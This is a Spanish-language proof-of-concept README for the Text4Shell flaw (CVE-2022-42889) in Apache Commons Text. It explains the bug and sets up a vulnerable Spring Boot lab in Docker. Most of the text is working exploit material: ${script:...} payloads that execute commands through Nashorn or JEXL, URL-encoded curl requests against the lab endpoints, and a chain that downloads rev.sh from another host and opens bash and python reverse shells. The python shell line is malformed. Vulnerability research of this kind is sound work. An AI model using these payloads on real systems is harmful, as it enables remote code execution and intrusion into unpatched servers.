
CVE-2022-42889 alias Text4Shell investigación y PoC
PoC para la vulnerabilidad recientemente descubierta vulnerabilidad en Apache Commons Text por @pwntester:
Como se menciona en https://www.rapid7.com/blog/post/2022/10/17/cve-2022-42889-keep-calm-and-stop-saying-4shell/:
La vulnerabilidad existe en el objeto interpolador StringSubstitutor. Se crea un interpolador mediante el método StringSubstitutor.createInterpolator() y permite búsquedas de cadenas según lo definido en StringLookupFactory. Esto se puede utilizar pasando una cadena “${prefix:name}” donde el prefijo es la búsqueda mencionada. El uso de las búsquedas “script”, “dns” o “url” permitiría que una cadena manipulada ejecute scripts arbitrarios al pasarla al objeto interpolador.
Las versiones afectadas de Apache Commons Text son de la 1.5 a la 1.9. Se ha corregido en la versión 1.10.
Para ser explotado de forma remota, la entrada controlada por el atacante debe ser utilizada como entrada para la interpolación de StringSubstitutor. En particular, en los métodos StringSubstitutor.replace() o StringSubstitutor.replaceIn()
Desde JDK 15, el motor Nashorn JavaScript fue eliminado: https://openjdk.org/jeps/372. Pero si se incluyen dependencias de terceros como JEXL, podría ocurrir RCE en Apache Commons Text (https://twitter.com/pwntester/status/1582321752566161409)
Se puede explotar para obtener RCE.
Motor Nashorn:
${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/foo')}
Si se usa JEXL de terceros:
${script:JEXL:''.getClass().forName('java.lang.Runtime').getRuntime().exec('touch /tmp/pwned')}
Puede provocar una consulta DNS:
${dns:address|commons.apache.org}
Se conecta a la URL especificada e intenta obtener el contenido:
${url:UTF-8:https://nvd.nist.gov/vuln/detail/CVE-2022-42889}
Plantilla basada en https://start.spring.io/
mvn clean package -DskipTests
java -jar spring-boot-0.0.1-SNAPSHOT.jar
sudo docker build -t text4shell . -f Dockerfile.Java11
sudo docker run -p 8080:8080 text4shell
sudo docker build -t text4shell . -f Dockerfile.Java19
sudo docker run -p 8080:8080 text4shell
Hay diferentes endpoints para probar los distintos vectores de ataque mencionados.

curl http://localhost:8080/poc1


curl http://localhost:8080/poc2


curl http://localhost:8080/poc3

curl http://localhost:8080/message
curl http://localhost:8080/message?text=1

Usando Nashorn:
curl http://localhost:8080/message?text=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime().exec(%27touch%20%2Ftmp%2Ffoo%27)%7D

Usando JEXL:
curl http://localhost:8080/message?text=%24%7Bscript%3AJEXL%3A%27%27.getClass().forName(%27java.lang.Runtime%27).getRuntime().exec(%27touch%20%2Ftmp%2Fpwned%27)%7D


Para simplificar, estoy usando la interfaz Docker predeterminada para el listener de netcat. Investigando, encontré estos payloads con reverse shells en bash y python que funcionan bien:
${script:javascript:java.lang.Runtime.getRuntime().exec('curl -s http://172.17.0.1:3333/rev.sh -o /tmp/rev.sh')}
${script:javascript:java.lang.Runtime.getRuntime().exec('bash /tmp/rev.sh')}
Donde rev.sh se sirve con estos posibles contenidos:
bash -i >& /dev/tcp/172.17.0.1/5555 0>&1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.17.0.1,5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

